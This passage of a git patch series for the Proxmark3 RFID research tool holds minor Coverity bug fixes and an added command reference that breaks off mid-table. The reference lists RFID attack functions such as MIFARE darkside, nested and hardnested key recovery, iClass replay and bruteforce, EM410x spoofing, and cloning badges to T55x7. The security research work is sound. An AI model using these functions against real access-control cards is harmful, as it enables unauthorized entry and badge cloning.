_YELLOW_("%" PRIu16 )" bytes to binary file " _YELLOW_("%s"), datalen, fileName); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%" PRIu32 )" bytes to binary file " _YELLOW_("%s"), datalen, fileName); free(fileName); return PM3_SUCCESS; } @@ -858,6 +858,7 @@ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatale if (startFilePosition) { if (fseek(f, startFilePosition, SEEK_SET) < 0){ + fclose(f); retval = PM3_EFILE; goto out; } From 6f9b9335a144fd9b51a471c8e86aadf269c758d3 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 19:13:35 +0100 Subject: [PATCH 235/418] coverty 226291 --- client/emv/crypto_polarssl.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/client/emv/crypto_polarssl.c b/client/emv/crypto_polarssl.c index 8ed38fb05..b0cb59baa 100644 --- a/client/emv/crypto_polarssl.c +++ b/client/emv/crypto_polarssl.c @@ -136,9 +136,15 @@ static struct crypto_pk *crypto_pk_polarssl_open_priv_rsa(va_list vl) { mbedtls_mpi_read_binary(&cp->ctx.Q, (const unsigned char *)q, qlen); mbedtls_mpi_read_binary(&cp->ctx.DP, (const unsigned char *)dp, dplen); mbedtls_mpi_read_binary(&cp->ctx.DQ, (const unsigned char *)dq, dqlen); - mbedtls_mpi_inv_mod(&cp->ctx.QP, &cp->ctx.Q, &cp->ctx.P); + + int res = mbedtls_mpi_inv_mod(&cp->ctx.QP, &cp->ctx.Q, &cp->ctx.P); + if (res != 0) { + fprintf(stderr, "PolarSSL private key error res=%x exp=%d mod=%d.\n", res * -1, explen, modlen); + free(cp); + return NULL; + } - int res = mbedtls_rsa_check_privkey(&cp->ctx); + res = mbedtls_rsa_check_privkey(&cp->ctx); if (res != 0) { fprintf(stderr, "PolarSSL private key error res=%x exp=%d mod=%d.\n", res * -1, explen, modlen); free(cp); From 0684060ec047b526636d8e330f18d093f058e59f Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 19:16:13 +0100 Subject: [PATCH 236/418] coverty 226411 --- client/loclass/cipherutils.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/client/loclass/cipherutils.c b/client/loclass/cipherutils.c index d291c4886..5f16b68fd 100644 --- a/client/loclass/cipherutils.c +++ b/client/loclass/cipherutils.c @@ -169,6 +169,9 @@ void printvar(const char *name, uint8_t *arr, int len) { } void printarr_human_readable(const char *title, uint8_t *arr, int len) { + + if (arr == NULL) return; + int cx = 0, i; size_t outsize = 100 + strlen(title) + len * 4; char *output = calloc(outsize, sizeof(char)); From a0b6061b86c9dc33a88cc8e106e3cb6afbfb0db8 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 3 Jan 2020 19:22:04 +0100 Subject: [PATCH 237/418] coverty --- client/fileutils.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/client/fileutils.c b/client/fileutils.c index 64e5607a8..2710998b5 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -161,7 +161,7 @@ int saveFile(const char *preferredName, const char *suffix, const void *data, si fwrite(data, 1, datalen, f); fflush(f); fclose(f); - PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%" PRIu32 )" bytes to binary file " _YELLOW_("%s"), datalen, fileName); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%zu")" bytes to binary file " _YELLOW_("%s"), datalen, fileName); free(fileName); return PM3_SUCCESS; } @@ -429,7 +429,7 @@ int saveFileWAVE(const char *preferredName, int *data, size_t datalen) { } sf_close(wave_file); - PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%" PRIu32 )" bytes to wave file " _YELLOW_("'%s'"), 2 * datalen, fileName); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%zu")" bytes to wave file " _YELLOW_("'%s'"), 2 * datalen, fileName); out: free(fileName); @@ -456,7 +456,7 @@ int saveFilePM3(const char *preferredName, int *data, size_t datalen) { fflush(f); fclose(f); - PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%" PRIu16 )" bytes to PM3 file " _YELLOW_("'%s'"), datalen, fileName); + PrintAndLogEx(SUCCESS, "saved " _YELLOW_("%zu")" bytes to PM3 file " _YELLOW_("'%s'"), datalen, fileName); out: free(fileName); From 5bc2aea1b494c375c8bbd31cf012d0dfe81fd1fd Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sat, 4 Jan 2020 12:50:54 +0100 Subject: [PATCH 238/418] add a document with all commands, generated with the XX_internal_command_dump_markdown_XX --- doc/commands.md | 920 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 920 insertions(+) create mode 100644 doc/commands.md diff --git a/doc/commands.md b/doc/commands.md new file mode 100644 index 000000000..50cd0e805 --- /dev/null +++ b/doc/commands.md @@ -0,0 +1,920 @@ +[=] Session log /home/iceman/.proxmark3/log_20200104.txt +[+] execute command from commandline: XX_internal_command_dump_markdown_XX + +[=] Using UART port /dev/ttyS7 +[=] Communicating with PM3 over USB-CDC +pm3 --> XX_internal_command_dump_markdown_XX +|command |offline |description +|------- |------- |----------- +|`help `|Y |`This help. Use ' help' for details of a particular command.` +|`auto `|Y |`Automated detection process for unknown tags` +|` `|Y |`` +|`msleep `|Y |`Add a pause in milliseconds` +|`rem `|Y |`Add a text line in log file` +|`quit `|Y |`` +|`exit `|Y |`Exit program` + + +### analyse + + { Analyse utils... } + +|command |offline |description +|------- |------- |----------- +|`analyse help `|Y |`This help` +|`analyse lcr `|Y |`Generate final byte for XOR LRC` +|`analyse crc `|Y |`Stub method for CRC evaluations` +|`analyse chksum `|Y |`Checksum with adding, masking and one's complement` +|`analyse dates `|Y |`Look for datestamps in a given array of bytes` +|`analyse tea `|Y |`Crypto TEA test` +|`analyse lfsr `|Y |`LFSR tests` +|`analyse a `|Y |`num bits test` +|`analyse nuid `|Y |`create NUID from 7byte UID` +|`analyse demodbuff `|Y |`Load binary string to demodbuffer` + + +### data + + { Plot window / data buffer manipulation... } + +|command |offline |description +|------- |------- |----------- +|`data help `|Y |`This help` +|`data askedgedetect `|Y |`[threshold] Adjust Graph for manual ASK demod using the length of sample differences to detect the edge of a wave (use 20-45, def:25)` +|`data autocorr `|Y |`[window length] [g] -- Autocorrelation over window - g to save back to GraphBuffer (overwrite)` +|`data biphaserawdecode `|Y |`[offset] [invert<0|1>] [maxErr] -- Biphase decode bin stream in DemodBuffer (offset = 0|1 bits to shift the decode start)` +|`data bin2hex `|Y |` -- Converts binary to hexadecimal` +|`data bitsamples `|Y |`Get raw samples as bitstring` +|`data buffclear `|Y |`Clears bigbuff on deviceside and graph window` +|`data convertbitstream `|Y |`Convert GraphBuffer's 0/1 values to 127 / -127` +|`data dec `|Y |`Decimate samples` +|`data detectclock `|Y |`[] Detect ASK, FSK, NRZ, PSK clock rate of wave in GraphBuffer` +|`data fsktonrz `|Y |`Convert fsk2 to nrz wave for alternate fsk demodulating (for weak fsk)` +|`data getbitstream `|Y |`Convert GraphBuffer's >=1 values to 1 and <1 to 0` +|`data grid `|Y |` -- overlay grid on graph window, use zero value to turn off either` +|`data hexsamples `|Y |` [] -- Dump big buffer as hex bytes` +|`data hex2bin `|Y |` -- Converts hexadecimal to binary` +|`data hide `|Y |`Hide graph window` +|`data hpf `|Y |`Remove DC offset from trace` +|`data load `|Y |` -- Load trace (to graph window` +|`data ltrim `|Y |` -- Trim samples from left of trace` +|`data rtrim `|Y |` -- Trim samples from right of trace` +|`data mtrim `|Y |` -- Trim out samples from the specified start to the specified stop` +|`data manrawdecode `|Y |`[invert] [maxErr] -- Manchester decode binary stream in DemodBuffer` +|`data norm `|Y |`Normalize max/min to +/-128` +|`data plot `|Y |`Show graph window (hit 'h' in window for keystroke help)` +|`data printdemodbuffer `|Y |`[x] [o] [l] -- print the data in the DemodBuffer - 'x' for hex output` +|`data rawdemod `|Y |`[modulation] ... -see help (h option) -- Demodulate the data in the GraphBuffer and output binary` +|`data samples `|Y |`[512 - 40000] -- Get raw samples for graph window (GraphBuffer)` +|`data save `|Y |`Save trace (from graph window)` +|`data setgraphmarkers `|Y |`[orange_marker] [blue_marker] (in graph window)` +|`data scale `|Y |` -- Set cursor display scale in carrier frequency expressed in kHz` +|`data setdebugmode `|Y |`<0|1|2> -- Set Debugging Level on client side` +|`data shiftgraphzero `|Y |` -- Shift 0 for Graphed wave + or - shift value` +|`data dirthreshold `|Y |` -- Max rising higher up-thres/ Min falling lower down-thres, keep rest as prev.` +|`data tune `|Y |`Get hw tune samples for graph window` +|`data undec `|Y |`Un-decimate samples by 2` +|`data zerocrossings `|Y |`Count time between zero-crossings` +|`data iir `|Y |`apply IIR buttersworth filter on plotdata` + + +### emv + + { EMV ISO-14443 / ISO-7816... } + +|command |offline |description +|------- |------- |----------- +|`emv help `|Y |`This help` +|`emv exec `|Y |`Executes EMV contactless transaction.` +|`emv pse `|Y |`Execute PPSE. It selects 2PAY.SYS.DDF01 or 1PAY.SYS.DDF01 directory.` +|`emv search `|Y |`Try to select all applets from applets list and print installed applets.` +|`emv select `|Y |`Select applet.` +|`emv gpo `|Y |`Execute GetProcessingOptions.` +|`emv readrec `|Y |`Read files from card.` +|`emv genac `|Y |`Generate ApplicationCryptogram.` +|`emv challenge `|Y |`Generate challenge.` +|`emv intauth `|Y |`Internal authentication.` +|`emv scan `|Y |`Scan EMV card and save it contents to json file for emulator.` +|`emv test `|Y |`Crypto logic test.` +|`emv list `|Y |`List ISO7816 history` +|`emv roca `|Y |`Extract public keys and run ROCA test` + + +### hf + + { High frequency commands... } + +|command |offline |description +|------- |------- |----------- +|`hf help `|Y |`This help` +|`hf list `|Y |`List protocol data in trace buffer` +|`hf tune `|Y |`Continuously measure HF antenna tuning` +|`hf search `|Y |`Search for known HF tags` +|`hf sniff `|Y |` Generic HF Sniff` + + +### hf 14a + + { ISO14443A RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf 14a help `|Y |`This help` +|`hf 14a list `|Y |`List ISO 14443-a history` +|`hf 14a info `|Y |`Tag information` +|`hf 14a reader `|Y |`Act like an ISO14443-a reader` +|`hf 14a cuids `|Y |` Collect n>0 ISO14443-a UIDs in one go` +|`hf 14a sim `|Y |` -- Simulate ISO 14443-a tag` +|`hf 14a sniff `|Y |`sniff ISO 14443-a traffic` +|`hf 14a apdu `|Y |`Send ISO 14443-4 APDU to tag` +|`hf 14a chaining `|Y |`Control ISO 14443-4 input chaining` +|`hf 14a raw `|Y |`Send raw hex data to tag` +|`hf 14a antifuzz `|Y |`Fuzzing the anticollision phase. Warning! Readers may react strange` + + +### hf 14b + + { ISO14443B RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf 14b help `|Y |`This help` +|`hf 14b dump `|Y |`Read all memory pages of an ISO14443-B tag, save to file` +|`hf 14b info `|Y |`Tag information` +|`hf 14b list `|Y |`List ISO 14443B history` +|`hf 14b raw `|Y |`Send raw hex data to tag` +|`hf 14b reader `|Y |`Act as a 14443B reader to identify a tag` +|`hf 14b sim `|Y |`Fake ISO 14443B tag` +|`hf 14b sniff `|Y |`Eavesdrop ISO 14443B` +|`hf 14b sriread `|Y |`Read contents of a SRI512 | SRIX4K tag` +|`hf 14b sriwrite `|Y |`Write data to a SRI512 | SRIX4K tag` + + +### hf 15 + + { ISO15693 RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf 15 help `|Y |`This help` +|`hf 15 demod `|Y |`Demodulate ISO15693 from tag` +|`hf 15 dump `|Y |`Read all memory pages of an ISO15693 tag, save to file` +|`hf 15 findafi `|Y |`Brute force AFI of an ISO15693 tag` +|`hf 15 writeafi `|Y |`Writes the AFI on an ISO15693 tag` +|`hf 15 writedsfid `|Y |`Writes the DSFID on an ISO15693 tag` +|`hf 15 info `|Y |`Tag information` +|`hf 15 list `|Y |`List ISO15693 history` +|`hf 15 raw `|Y |`Send raw hex data to tag` +|`hf 15 reader `|Y |`Act like an ISO15693 reader` +|`hf 15 record `|Y |`Record Samples (ISO15693)` +|`hf 15 restore `|Y |`Restore from file to all memory pages of an ISO15693 tag` +|`hf 15 sim `|Y |`Fake an ISO15693 tag` +|`hf 15 samples `|Y |`Acquire Samples as Reader (enables carrier, sends inquiry)` +|`hf 15 read `|Y |`Read a block` +|`hf 15 write `|Y |`Write a block` +|`hf 15 readmulti `|Y |`Reads multiple Blocks` +|`hf 15 csetuid `|Y |`Set UID for magic Chinese card` + + +### hf epa + + { German Identification Card... } + +|command |offline |description +|------- |------- |----------- +|`hf epa help `|Y |`This help` +|`hf epa cnonces `|Y |` Acquire n>0 encrypted PACE nonces of size m>0 with d sec pauses` +|`hf epa preplay `|Y |` Perform PACE protocol by replaying given APDUs` + + +### hf felica + + { ISO18092 / Felica RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf felica ----------- General -----------`|Y |`` +|`hf felica help `|Y |`This help` +|`hf felica list `|Y |`List ISO 18092/FeliCa history` +|`hf felica reader `|Y |`Act like an ISO18092/FeliCa reader` +|`hf felica sniff `|Y |`Sniff ISO 18092/FeliCa traffic` +|`hf felica raw `|Y |`Send raw hex data to tag` +|`hf felica ----------- FeliCa Standard (support in progress) -----------`|Y |`` +|`hf felica rqservice `|Y |`verify the existence of Area and Service, and to acquire Key Version.` +|`hf felica rqresponse `|Y |`verify the existence of a card and its Mode.` +|`hf felica rdunencrypted`|Y |`read Block Data from authentication-not-required Service.` +|`hf felica wrunencrypted`|Y |`write Block Data to an authentication-not-required Service.` +|`hf felica scsvcode `|Y |`acquire Area Code and Service Code.` +|`hf felica rqsyscode `|Y |`acquire System Code registered to the card.` +|`hf felica auth1 `|Y |`authenticate a card. Start mutual authentication with Auth1` +|`hf felica auth2 `|Y |`allow a card to authenticate a Reader/Writer. Complete mutual authentication` +|`hf felica read `|Y |`read Block Data from authentication-required Service.` +|`hf felica rqspecver `|Y |`acquire the version of card OS.` +|`hf felica resetmode `|Y |`reset Mode to Mode 0.` +|`hf felica ----------- FeliCa Light -----------`|Y |`` +|`hf felica litesim `|Y |` - only reply to poll request` +|`hf felica litedump `|Y |`Wait for and try dumping FelicaLite` + + +### hf legic + + { LEGIC RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf legic help `|Y |`This help` +|`hf legic reader `|Y |`LEGIC Prime Reader UID and tag info` +|`hf legic info `|Y |`Display deobfuscated and decoded LEGIC Prime tag data` +|`hf legic dump `|Y |`Dump LEGIC Prime tag to binary file` +|`hf legic restore `|Y |`Restore a dump file onto a LEGIC Prime tag` +|`hf legic rdmem `|Y |`Read bytes from a LEGIC Prime tag` +|`hf legic sim `|Y |`Start tag simulator` +|`hf legic write `|Y |`Write data to a LEGIC Prime tag` +|`hf legic crc `|Y |`Calculate Legic CRC over given bytes` +|`hf legic eload `|Y |`Load binary dump to emulator memory` +|`hf legic esave `|Y |`Save emulator memory to binary file` +|`hf legic list `|Y |`List LEGIC history` +|`hf legic wipe `|Y |`Wipe a LEGIC Prime tag` + + +### hf iclass + + { ICLASS RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf iclass help `|Y |`This help` +|`hf iclass calcnewkey `|Y |`[options..] Calc diversified keys (blocks 3 & 4) to write new keys` +|`hf iclass chk `|Y |`[options..] Check keys` +|`hf iclass clone `|Y |`[options..] Restore a dump file onto a iClass tag` +|`hf iclass decrypt `|Y |`[options..] Decrypt given block data or tag dump file` +|`hf iclass dump `|Y |`[options..] Dump iClass tag to file` +|`hf iclass eload `|Y |`[f ] Load iClass dump file into emulator memory` +|`hf iclass encrypt `|Y |`[options..] Encrypt given block data` +|`hf iclass info `|Y |` Tag information` +|`hf iclass list `|Y |` List iClass history` +|`hf iclass loclass `|Y |`[options..] Use loclass to perform bruteforce reader attack` +|`hf iclass lookup `|Y |`[options..] Uses authentication trace to check for key in dictionary file` +|`hf iclass managekeys `|Y |`[options..] Manage keys to use with iClass` +|`hf iclass permutekey `|Y |` Permute function from 'heart of darkness' paper` +|`hf iclass rdbl `|Y |`[options..] Read iClass block` +|`hf iclass reader `|Y |` Act like an iClass reader` +|`hf iclass readtagfile `|Y |`[options..] Display content from tag dump file` +|`hf iclass replay `|Y |` Read iClass tag via replay attack` +|`hf iclass sim `|Y |`[options..] Simulate iClass tag` +|`hf iclass sniff `|Y |` Eavesdrop iClass communication` +|`hf iclass wrbl `|Y |`[options..] Write iClass block` + + +### hf mf + + { MIFARE RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf mf help `|Y |`This help` +|`hf mf list `|Y |`List MIFARE history` +|`hf mf darkside `|Y |`Darkside attack` +|`hf mf nested `|Y |`Nested attack` +|`hf mf hardnested `|Y |`Nested attack for hardened MIFARE Classic cards` +|`hf mf autopwn `|Y |`Automatic key recovery tool for MIFARE Classic` +|`hf mf nack `|Y |`Test for MIFARE NACK bug` +|`hf mf chk `|Y |`Check keys` +|`hf mf fchk `|Y |`Check keys fast, targets all keys on card` +|`hf mf decrypt `|Y |`[nt] [ar_enc] [at_enc] [data] - to decrypt sniff or trace` +|`hf mf ----------- `|Y |`` +|`hf mf rdbl `|Y |`Read MIFARE classic block` +|`hf mf rdsc `|Y |`Read MIFARE classic sector` +|`hf mf dump `|Y |`Dump MIFARE classic tag to binary file` +|`hf mf restore `|Y |`Restore MIFARE classic binary file to BLANK tag` +|`hf mf wrbl `|Y |`Write MIFARE classic block` +|`hf mf setmod `|Y |`Set MIFARE Classic EV1 load modulation strength` +|`hf mf auth4 `|Y |`ISO14443-4 AES authentication` +|`hf mf ----------- `|Y |`` +|`hf mf sim `|Y |`Simulate MIFARE card` +|`hf mf eclr `|Y |`Clear simulator memory` +|`hf mf eget `|Y |`Get simulator memory block` +|`hf mf eset `|Y |`Set simulator memory block` +|`hf mf eload `|Y |`Load from file emul dump` +|`hf mf esave `|Y |`Save to file emul dump` +|`hf mf ecfill `|Y |`Fill simulator memory with help of keys from simulator` +|`hf mf ekeyprn `|Y |`Print keys from simulator memory` +|`hf mf ----------- `|Y |`` +|`hf mf csetuid `|Y |`Set UID (magic chinese card)` +|`hf mf cwipe `|Y |`Wipe card to default UID/Sectors/Keys` +|`hf mf csetblk `|Y |`Write block (magic chinese card)` +|`hf mf cgetblk `|Y |`Read block (magic chinese card)` +|`hf mf cgetsc `|Y |`Read sector (magic chinese card)` +|`hf mf cload `|Y |`Load dump (magic chinese card)` +|`hf mf csave `|Y |`Save dump from magic chinese card into file or emulator` +|`hf mf ----------- `|Y |`` +|`hf mf mad `|Y |`Checks and prints MAD` +|`hf mf ndef `|Y |`Prints NDEF records from card` +|`hf mf ice `|Y |`collect MIFARE Classic nonces to file` + + +### hf mfp + + { MIFARE Plus RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf mfp help `|Y |`This help` +|`hf mfp info `|Y |`Info about Mifare Plus tag` +|`hf mfp wrp `|Y |`Write Perso command` +|`hf mfp initp `|Y |`Fills all the card's keys` +|`hf mfp commitp `|Y |`Move card to SL1 or SL3 mode` +|`hf mfp auth `|Y |`Authentication` +|`hf mfp rdbl `|Y |`Read blocks` +|`hf mfp rdsc `|Y |`Read sectors` +|`hf mfp wrbl `|Y |`Write blocks` +|`hf mfp chk `|Y |`Check keys` +|`hf mfp mad `|Y |`Checks and prints MAD` +|`hf mfp ndef `|Y |`Prints NDEF records from card` + + +### hf mfu + + { MIFARE Ultralight RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf mfu help `|Y |`This help` +|`hf mfu info `|Y |`Tag information` +|`hf mfu dump `|Y |`Dump Ultralight / Ultralight-C / NTAG tag to binary file` +|`hf mfu restore `|Y |`Restore a dump onto a MFU MAGIC tag` +|`hf mfu eload `|Y |`load Ultralight .eml dump file into emulator memory` +|`hf mfu rdbl `|Y |`Read block` +|`hf mfu wrbl `|Y |`Write block` +|`hf mfu cauth `|Y |`Authentication - Ultralight C` +|`hf mfu setpwd `|Y |`Set 3des password - Ultralight-C` +|`hf mfu setuid `|Y |`Set UID - MAGIC tags only` +|`hf mfu sim `|Y |`Simulate Ultralight from emulator memory` +|`hf mfu gen `|Y |`Generate 3des mifare diversified keys` +|`hf mfu pwdgen `|Y |`Generate pwd from known algos` +|`hf mfu otptear `|Y |`Tear-off test on OTP bits` + + +### hf mfdes + + { MIFARE Desfire RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf mfdes help `|Y |`This help` +|`hf mfdes info `|Y |`Tag information` +|`hf mfdes enum `|Y |`Tries enumerate all applications` +|`hf mfdes auth `|Y |`Tries a MIFARE DesFire Authentication` + + +### hf topaz + + { TOPAZ (NFC Type 1) RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf topaz help `|Y |`This help` +|`hf topaz reader `|Y |`Act like a Topaz reader` +|`hf topaz sim `|Y |` -- Simulate Topaz tag` +|`hf topaz sniff `|Y |`Sniff Topaz reader-tag communication` +|`hf topaz raw `|Y |`Send raw hex data to tag` +|`hf topaz list `|Y |`List Topaz history` + + +### hf fido + + { FIDO and FIDO2 authenticators... } + +|command |offline |description +|------- |------- |----------- +|`hf fido help `|Y |`This help.` +|`hf fido info `|Y |`Info about FIDO tag.` +|`hf fido reg `|Y |`FIDO U2F Registration Message.` +|`hf fido auth `|Y |`FIDO U2F Authentication Message.` +|`hf fido make `|Y |`FIDO2 MakeCredential command.` +|`hf fido assert `|Y |`FIDO2 GetAssertion command.` + + +### hf thinfilm + + { Thinfilm RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`hf thinfilm help `|Y |`This help` +|`hf thinfilm info `|Y |`Tag information` +|`hf thinfilm list `|Y |`List NFC Barcode / Thinfilm history - not correct` +|`hf thinfilm sim `|Y |`Fake Thinfilm tag` + + +### hw + + { Hardware commands... } + +|command |offline |description +|------- |------- |----------- +|`hw help `|Y |`This help` +|`hw connect `|Y |`connect Proxmark3 to serial port` +|`hw dbg `|Y |`Set Proxmark3 debug level` +|`hw detectreader `|Y |`['l'|'h'] -- Detect external reader field (option 'l' or 'h' to limit to LF or HF)` +|`hw fpgaoff `|Y |`Set FPGA off` +|`hw lcd `|N |` -- Send command/data to LCD` +|`hw lcdreset `|N |`Hardware reset LCD` +|`hw ping `|Y |`Test if the Proxmark3 is responsive` +|`hw readmem `|Y |`[address] -- Read memory at decimal address from flash` +|`hw reset `|Y |`Reset the Proxmark3` +|`hw setlfdivisor `|Y |`<19 - 255> -- Drive LF antenna at 12MHz/(divisor+1)` +|`hw setmux `|Y |`Set the ADC mux to a specific value` +|`hw standalone `|Y |`Jump to the standalone mode` +|`hw status `|Y |`Show runtime status information about the connected Proxmark3` +|`hw tia `|Y |`Trigger a Timing Interval Acquisition to re-adjust the RealTimeCounter divider` +|`hw tune `|Y |`Measure antenna tuning` +|`hw version `|Y |`Show version information about the connected Proxmark3` + + +### lf + + { Low frequency commands... } + +|command |offline |description +|------- |------- |----------- +|`lf help `|Y |`This help` +|`lf `|Y |`` +|`lf config `|Y |`Get/Set config for LF sampling, bit/sample, decimation, frequency` +|`lf cmdread `|Y |` <'0' period> <'1' period> ['h' 134] + -- Modulate LF reader field to send command before read (all periods in microseconds)` +|`lf read `|Y |`['s' silent] Read 125/134 kHz LF ID-only tag. Do 'lf read h' for help` +|`lf search `|Y |`[offline] ['u'] Read and Search for valid known tag (in offline mode it you can load first then search) + -- 'u' to search for unknown tags` +|`lf sim `|Y |`[GAP] -- Simulate LF tag from buffer with optional GAP (in microseconds)` +|`lf simask `|Y |`[clock] [invert <1|0>] [biphase/manchester/raw <'b'|'m'|'r'>] [msg separator 's'] [d ] + -- Simulate LF ASK tag from demodbuffer or input` +|`lf simfsk `|Y |`[c ] [i] [H ] [L ] [d ] + -- Simulate LF FSK tag from demodbuffer or input` +|`lf simpsk `|Y |`[1|2|3] [c ] [i] [r ] [d ] + -- Simulate LF PSK tag from demodbuffer or input` +|`lf simbidir `|Y |`Simulate LF tag (with bidirectional data transmission between reader and tag)` +|`lf sniff `|Y |`Sniff LF traffic between reader and tag` +|`lf tune `|Y |`Continuously measure LF antenna tuning` + + +### lf awid + + { AWID RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf awid help `|Y |`this help` +|`lf awid demod `|Y |`demodulate an AWID FSK tag from the GraphBuffer` +|`lf awid read `|Y |`attempt to read and extract tag data` +|`lf awid clone `|Y |`clone AWID tag to T55x7 (or to q5/T5555)` +|`lf awid sim `|Y |`simulate AWID tag` +|`lf awid brute `|Y |`Bruteforce card number against reader` +|`lf awid watch `|Y |`continuously watch for cards. Reader mode` + + +### lf cotag + + { COTAG CHIPs... } + +|command |offline |description +|------- |------- |----------- +|`lf cotag help `|Y |`This help` +|`lf cotag demod `|Y |`Tries to decode a COTAG signal` +|`lf cotag read `|Y |`Attempt to read and extract tag data` + + +### lf em + + { EM4X CHIPs & RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf em help `|Y |`This help` +|`lf em 410x_demod `|Y |`demodulate a EM410x tag from the GraphBuffer` +|`lf em 410x_read `|Y |`attempt to read and extract tag data` +|`lf em 410x_sim `|Y |`simulate EM410x tag` +|`lf em 410x_brute `|Y |`reader bruteforce attack by simulating EM410x tags` +|`lf em 410x_watch `|Y |`watches for EM410x 125/134 kHz tags (option 'h' for 134)` +|`lf em 410x_spoof `|Y |`watches for EM410x 125/134 kHz tags, and replays them. (option 'h' for 134)` +|`lf em 410x_write `|Y |`write EM410x UID to T5555(Q5) or T55x7 tag` +|`lf em 4x05_demod `|Y |`demodulate a EM4x05/EM4x69 tag from the GraphBuffer` +|`lf em 4x05_dump `|Y |`dump EM4x05/EM4x69 tag` +|`lf em 4x05_wipe `|Y |`wipe EM4x05/EM4x69 tag` +|`lf em 4x05_info `|Y |`tag information EM4x05/EM4x69` +|`lf em 4x05_read `|Y |`read word data from EM4x05/EM4x69` +|`lf em 4x05_write `|Y |`write word data to EM4x05/EM4x69` +|`lf em 4x50_demod `|Y |`demodulate a EM4x50 tag from the GraphBuffer` +|`lf em 4x50_dump `|Y |`dump EM4x50 tag` +|`lf em 4x50_read `|Y |`read word data from EM4x50` +|`lf em 4x50_write `|Y |`write word data to EM4x50` + + +### lf fdx + + { FDX-B RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf fdx help `|Y |`this help` +|`lf fdx demod `|Y |`demodulate a FDX-B ISO11784/85 tag from the GraphBuffer` +|`lf fdx read `|Y |`attempt to read and extract tag data` +|`lf fdx clone `|Y |`clone animal ID tag to T55x7 (or to q5/T5555)` +|`lf fdx sim `|Y |`simulate Animal ID tag` + + +### lf gallagher + + { GALLAGHER RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf gallagher help `|Y |`This help` +|`lf gallagher demod `|Y |`Demodulate an GALLAGHER tag from the GraphBuffer` +|`lf gallagher read `|Y |`Attempt to read and extract tag data from the antenna` +|`lf gallagher clone `|Y |`clone GALLAGHER tag to T55x7` +|`lf gallagher sim `|Y |`simulate GALLAGHER tag` + + +### lf gproxii + + { Guardall Prox II RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf gproxii help `|Y |`this help` +|`lf gproxii demod `|Y |`demodulate a G Prox II tag from the GraphBuffer` +|`lf gproxii read `|Y |`attempt to read and extract tag data from the antenna` +|`lf gproxii clone `|Y |`clone Guardall tag to T55x7` +|`lf gproxii sim `|Y |`simulate Guardall tag` + + +### lf hid + + { HID RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf hid help `|Y |`this help` +|`lf hid demod `|Y |`demodulate HID Prox tag from the GraphBuffer` +|`lf hid read `|Y |`attempt to read and extract tag data` +|`lf hid clone `|Y |`clone HID tag to T55x7` +|`lf hid sim `|Y |`simulate HID tag` +|`lf hid brute `|Y |`bruteforce card number against reader` +|`lf hid watch `|Y |`continuously watch for cards. Reader mode` + + +### lf hitag + + { Hitag CHIPs... } + +|command |offline |description +|------- |------- |----------- +|`lf hitag help `|Y |`This help` +|`lf hitag list `|Y |`List Hitag trace history` +|`lf hitag info `|Y |`Tag information` +|`lf hitag reader `|Y |`Act like a Hitag Reader` +|`lf hitag sim `|Y |`Simulate Hitag transponder` +|`lf hitag sniff `|Y |`Eavesdrop Hitag communication` +|`lf hitag writer `|Y |`Act like a Hitag Writer` +|`lf hitag cc `|Y |`Test all challenges` + + +### lf indala + + { Indala RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf indala help `|Y |`this help` +|`lf indala demod `|Y |`demodulate an indala tag (PSK1) from GraphBuffer` +|`lf indala altdemod `|Y |`alternative method to Demodulate samples for Indala 64 bit UID (option '224' for 224 bit)` +|`lf indala read `|Y |`read an Indala Prox tag from the antenna` +|`lf indala clone `|Y |`clone Indala tag to T55x7` +|`lf indala sim `|Y |`simulate Indala tag` + + +### lf io + + { ioProx RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf io help `|Y |`this help` +|`lf io demod `|Y |`demodulate an IOProx tag from the GraphBuffer` +|`lf io read `|Y |`attempt to read and extract tag data` +|`lf io clone `|Y |`clone IOProx tag to T55x7 (or to q5/T5555)` +|`lf io sim `|Y |`simulate IOProx tag` +|`lf io watch `|Y |`continuously watch for cards. Reader mode` + + +### lf jablotron + + { Jablotron RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf jablotron help `|Y |`This help` +|`lf jablotron slurdge `|Y |`Demod slurdge ..` +|`lf jablotron demod `|Y |`Demodulate an Jablotron tag from the GraphBuffer` +|`lf jablotron read `|Y |`Attempt to read and extract tag data from the antenna` +|`lf jablotron clone `|Y |`clone jablotron tag to T55x7 (or to q5/T5555)` +|`lf jablotron sim `|Y |`simulate jablotron tag` + + +### lf keri + + { KERI RFIDs... } + +|command |offline |description +|------- |------- |----------- +|`lf keri help `|Y |`This help` +|`lf keri demod `|Y |`Demodulate an KERI tag from the 